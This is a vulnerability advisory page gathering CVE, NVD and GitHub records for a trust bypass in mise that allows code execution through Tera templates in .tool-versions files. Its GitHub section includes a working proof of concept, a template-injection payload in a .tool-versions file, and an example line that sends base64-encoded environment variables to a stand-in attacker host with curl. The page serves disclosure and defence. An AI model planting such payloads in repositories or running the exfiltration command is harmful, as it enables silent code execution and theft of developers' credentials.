mise: Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.3.10, mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt. This vulnerability is fixed in 2026.3.10.

Source published

26 Jun 2026 16:51:44 UTC

Source modified

29 Jun 2026 13:28:19 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 9.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.3.10, mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt. This vulnerability is fixed in 2026.3.10.

Source published

26 Jun 2026 18:16:58 UTC

Source modified

25 Oct 2026 17:10:00 UTC

Observed here

27 Oct 2026 09:02:55 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

## Summary Mise processes `.tool-versions` files through the Tera template engine during parsing, with the `exec()` function registered, enabling arbitrary command execution. Unlike `.mise.toml` files, `.tool-versions` files are **not subject to trust verification** in non-paranoid mode. This means an attacker can place a malicious `.tool-versions` file in a git repository, and when a victim with mise activated `cd`s into the directory, arbitrary commands execute without any trust prompt. ## Vulnerability Details ### Vulnerable Code **File:** `src/config/config_file/tool_versions.rs`, lines 60-63 ```rust pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> { let mut cf = Self::init(&path); let dir = path.parent(); let s = get_tera(dir).render_str(s, &cf.context)?; // <-- No trust check // ... } ``` **File:** `src/tera.rs`, lines 385-391 ```rust pub fn get_tera(dir: Option<&Path>) -> Tera { let mut tera = TERA.clone(); let dir = dir.map(PathBuf::from); tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone())); tera.register_function("read_file", tera_read_file(dir)); tera } ``` **File:** `src/tera.rs`, lines 394-452 -- `tera_exec` passes the `command` argument to a shell for execution with no restrictions. **File:** `src/config/config_file/mod.rs`, lines 272-287 ```rust pub async fn parse(path: &Path) -> Result<Arc<dyn ConfigFile>> { if let Ok(settings) = Settings::try_get() && settings.paranoid { trust_check(path)?; // Only in paranoid mode! } match detect_config_file_type(path).await { // ... Some(ConfigFileType::ToolVersions) => Ok(Arc::new(ToolVersions::from_file(path)?)), // ... } } ``` ### Attack Vector 1. An attacker creates a `.tool-versions` file in a git repository containing Tera template syntax with the `exec()` function. 2. The victim clones the repository and has mise activated in their shell (via `eval "$(mise activate zsh)"` or equivalent). 3. When the victim `cd`s into the repository directory, mise's shell hook (`hook-env`) fires automatically. 4. `hook-env` loads and parses config files, including `.tool-versions`. 5. During parsing, `ToolVersions::parse_str` processes the file content through `get_tera(dir).render_str()`. 6. The Tera engine evaluates `{{ exec(command="...") }}`, executing arbitrary commands as the victim's user. 7. No trust prompt is displayed because `trust_check` is not called for `.tool-versions` files in non-paranoid mode. ### Execution Context - Commands execute as the current user with full access to their environment. - The pristine environment (`env::PRISTINE_ENV`) is passed to the executed command, which includes all of the user's environment variables (potentially including tokens, credentials, SSH agents, etc.). - Execution happens silently during the prompt hook -- the user sees no indication that code was run. ### Contrast with .mise.toml `.mise.toml` files are protected: `MiseToml::from_str()` calls `trust_check(path)` before any parsing occurs (line 213 of `mise_toml.rs`). During `hook-env`, untrusted `.mise.toml` files fail to parse with an `UntrustedConfig` error, preventing any code execution. `.tool-versions` files lack this protection entirely. ## Steps to Reproduce ### Prerequisites - mise installed (`brew install mise` or equivalent) - Shell activation enabled: `eval "$(mise activate zsh)"` (or bash/fish) - Default settings (paranoid mode NOT enabled — this is the default) ### PoC: Silent RCE on `cd` **Step 1:** Create a directory simulating a cloned repository with a malicious `.tool-versions`: ```bash mkdir -p /tmp/poc-mise-repo cd /tmp/poc-mise-repo git init cat > .tool-versions << 'EOF' {{ exec(command="id > /tmp/mise-rce-proof && echo SUCCESS=$(whoami) >> /tmp/mise-rce-proof && date >> /tmp/mise-rce-proof") }}node 20.0.0 python 3.11.0 EOF git add -A && git commit -m "Initial commit" ``` Note: The `exec()` output is concatenated with `node` so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout — the `exec()` returns an empty string, making the line evaluate to `node 20.0.0`. **Step 2:** In a new shell with mise activated, enter the directory: ```bash eval "$(mise activate zsh)" cd /tmp/poc-mise-repo ``` **Step 3:** Verify arbitrary code execution: ```bash cat /tmp/mise-rce-proof ``` **Expected output:** ``` uid=501(youruser) gid=20(staff) groups=20(staff),... SUCCESS=youruser Mon Mar 16 21:34:46 IST 2026 ``` No trust prompt, no warning, no error output. The `id` command executed silently as the current user. ### Validated Test Results Tested on 2026-03-16 with: - mise 2026.3.9 macos-arm64 - macOS Darwin 24.5.0 arm64 - zsh 5.9 - Paranoid mode: `false` (default) **Test 1 — `.tool-versions` (no trust check):** ``` $ rm -f /tmp/mise-rce-proof $ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-repo && pwd' /tmp/poc-mise-repo $ cat /tmp/mise-rce-proof uid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),... SUCCESS=golan Mon Mar 16 21:34:46 IST 2026 ``` Command executed silently. No trust prompt. No errors. **Test 2 — `.mise.toml` with same payload (trust check blocks execution):** ``` $ mkdir -p /tmp/poc-mise-toml $ cat > /tmp/poc-mise-toml/.mise.toml << 'TOMLEOF' [tools] node = "{{ exec(command='id > /tmp/mise-hook-pwned') }}20.0.0" TOMLEOF $ rm -f /tmp/mise-hook-pwned $ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-toml && pwd' mise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted. Trust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html $ cat /tmp/mise-hook-pwned cat: /tmp/mise-hook-pwned: No such file or directory ``` `.mise.toml` correctly blocked by trust verification. `.tool-versions` bypasses it entirely. ### Alternative PoC (data exfiltration) ``` {{ exec(command="curl -s -X POST -d \"$(env | base64)\" https://attacker.example.com/collect -o /dev/null") }}python 3.11.0 ``` ## Impact - **Arbitrary code execution** on any machine where a user with mise activated enters a directory containing a malicious `.tool-versions` file. - **Supply chain attack vector**: `.tool-versions` is a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content. - **Silent execution**: No trust prompt, warning, or user interaction required. - **Full user privilege escalation**: Commands run with the full privileges and environment of the current user. - **Credential theft**: The user's full environment (including tokens, API keys, SSH agent) is available to the executed command. - **Widespread potential impact**: Any open-source project with a `.tool-versions` file could be targeted. A malicious PR adding tera syntax to an existing `.tool-versions` file could execute code on all reviewers' machines. ## Suggested Fix ### Option 1: Add trust_check to .tool-versions parsing (recommended) ```rust // In src/config/config_file/tool_versions.rs pub fn from_file(path: &Path) -> Result<Self> { trace!("parsing tool-versions: {}", path.display()); Self::parse_str(&file::read_to_string(path)?, path.to_path_buf()) } pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> { let mut cf = Self::init(&path); let dir = path.parent(); // Only use tera if the file contains template syntax AND is trusted let s = if s.contains("{{") || s.contains("{%") || s.contains("{#") { trust_check(&path)?; get_tera(dir).render_str(s, &cf.context)? } else { s.to_string() }; // ... } ``` ### Option 2: Remove exec() from .tool-versions tera context Create a separate `get_tera_safe()` that does not register the `exec` function, and use it for `.tool-versions` parsing. ### Option 3: Remove tera processing from .tool-versions entirely `.tool-versions` is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.

Source published

22 Jun 2026 17:19:56 UTC

Source modified

21 Jul 2026 15:15:49 UTC

Observed here

24 Oct 2026 13:19:54 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL